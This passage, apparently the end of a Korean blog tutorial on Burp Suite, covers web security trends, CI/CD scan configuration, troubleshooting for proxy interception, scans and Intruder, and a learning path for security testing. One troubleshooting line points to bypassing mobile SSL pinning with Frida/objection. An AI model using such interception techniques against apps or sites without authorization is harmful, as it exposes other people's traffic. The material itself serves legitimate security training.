→ 자동으로 스캔 생성
→ 모든 엔드포인트 테스트
```

### 웹 보안 트렌드와 Burp의 대응

**1. API 보안**
- RESTful, GraphQL, gRPC 지원 강화
- API 특화 스캔 규칙
- 자동 API 문서 생성

**2. 클라우드 네이티브 앱**
- Serverless 함수 테스트
- 컨테이너 환경 지원
- Kubernetes API 테스트

**3. AI/ML 통합**
- 이상 행위 탐지
- 스마트 페이로드 생성
- 거짓 양성 감소

**4. DevSecOps 통합**
```
CI/CD 파이프라인 통합:

# Jenkins 예시
stage('Security Scan') {
    steps {
        sh 'burp-rest-api-scan \
            --url=$TARGET_URL \
            --config=config.json \
            --report-file=burp-report.html'
    }
}

# GitLab CI
security_scan:
  script:
    - burp scan --target $CI_ENVIRONMENT_URL
  artifacts:
    reports:
      security: burp-report.json
```

## 문제 해결 가이드

### 일반적인 문제

**1. HTTPS 트래픽이 보이지 않음**
```
원인 및 해결:

□ CA 인증서 미설치
  → http://burpsuite 방문하여 설치

□ 브라우저 프록시 미설정
  → 수동 프록시 127.0.0.1:8080

□ 앱이 SSL Pinning 사용
  → 모바일: Frida/objection으로 우회
  → 데스크톱: 인증서 패칭

□ 프록시 리스너 미실행
  → Proxy → Options → Proxy Listeners → ☑ Running
```

**2. 스캔이 느리거나 멈춤**
```
해결:

1. 스캔 범위 축소:
   Target → Site map → 특정 폴더만 스캔

2. 스캔 설정 조정:
   Scanner → Options → 
   ☐ Frequently Occurring Insertion Points
   ☑ Reduce scan duration

3. 리소스 제한 확인:
   - Java Heap 크기 증가
   - Dashboard → Tasks → 불필요한 태스크 중지

4. 사이트 응답 확인:
   - 서버 다운?
   - Rate limiting?
   - Timeout 설정 조정
```

**3. Intruder 공격이 작동하지 않음**
```
체크리스트:

□ 페이로드 위치 설정 확인
  → §로 올바르게 마킹

□ 공격 유형 확인
  → Sniper, Battering ram 등

□ 페이로드 세트 로드 확인
  → Payloads 탭에서 확인

□ Start attack 버튼 클릭
  → 때때로 UI 버그로 무반응

□ Community Edition 제한
  → Intruder 속도 제한 (Pro는 없음)
```

**4. 메모리 부족 오류**

해결:

  1. Java Heap 크기 증가: Windows: burpsuite_pro.bat 수정: java -jar -Xmx4g burpsuite_pro.jar Linux/Mac: java -jar -Xmx4g burpsuite_pro.jar
  2. 프로젝트 정리:
    • 오래된 Site map 항목 삭제
    • Proxy history 정리
    • 로그 레벨 감소
  3. 프로젝트 파일 최적화: Project options → Misc → ☐ Store requests and responses (필요한 것만 저장)
 
## 마치며

Burp Suite는 단순한 도구가 아닙니다. 웹 애플리케이션 보안 테스터의 가장 강력한 파트너이자, 학습 플랫폼이며, 전문성을 증명하는 수단입니다.

Burp Suite를 마스터하면:

- 수동 테스팅으로 자동화가 놓치는 논리적 결함 발견
- 자동 스캐닝으로 시간 절약하며 포괄적 커버리지 확보
- 확장을 통해 특수 요구사항 충족
- 업계 표준 도구 숙련으로 경력 발전

하지만 기억하세요:

도구는 도구일 뿐입니다. 진정한 보안 전문가는:
- 취약점의 근본 원인을 이해합니다
- 비즈니스 영향을 평가할 수 있습니다
- 개발자와 효과적으로 소통합니다
- 윤리적 책임을 다합니다

시작하는 방법:

1. 오늘: Burp Suite Community Edition 다운로드
2. 이번 주: PortSwigger Academy 첫 모듈 완료
3. 이번 달: DVWA에서 OWASP Top 10 실습
4. 3개월 후: 첫 Bug Bounty 제출
5. 1년 후: BSCP 인증 도전

웹 애플리케이션 보안은 끝없이 진화하는 분야입니다. 새로운 기술이 등장하고, 새로운 취약점이 발견되며, 공격 기법도 발전합니다. Burp Suite는 이 여정에서 여러분과 함께할 가장 신뢰할 수 있는 동반자입니다.

"도구는 기술자를 대신할 수 없지만, 기술자의 손에서 도구는 마법을 만듭니다."

지금 바로 Burp Suite를 실행하고, 첫 프록시 요청을 가로채고, 웹 보안 전문가로의 여정을 시작하세요. 안전한 웹을 만드는 것은 우리 모두의 책임입니다.
 

 

반응형

댓글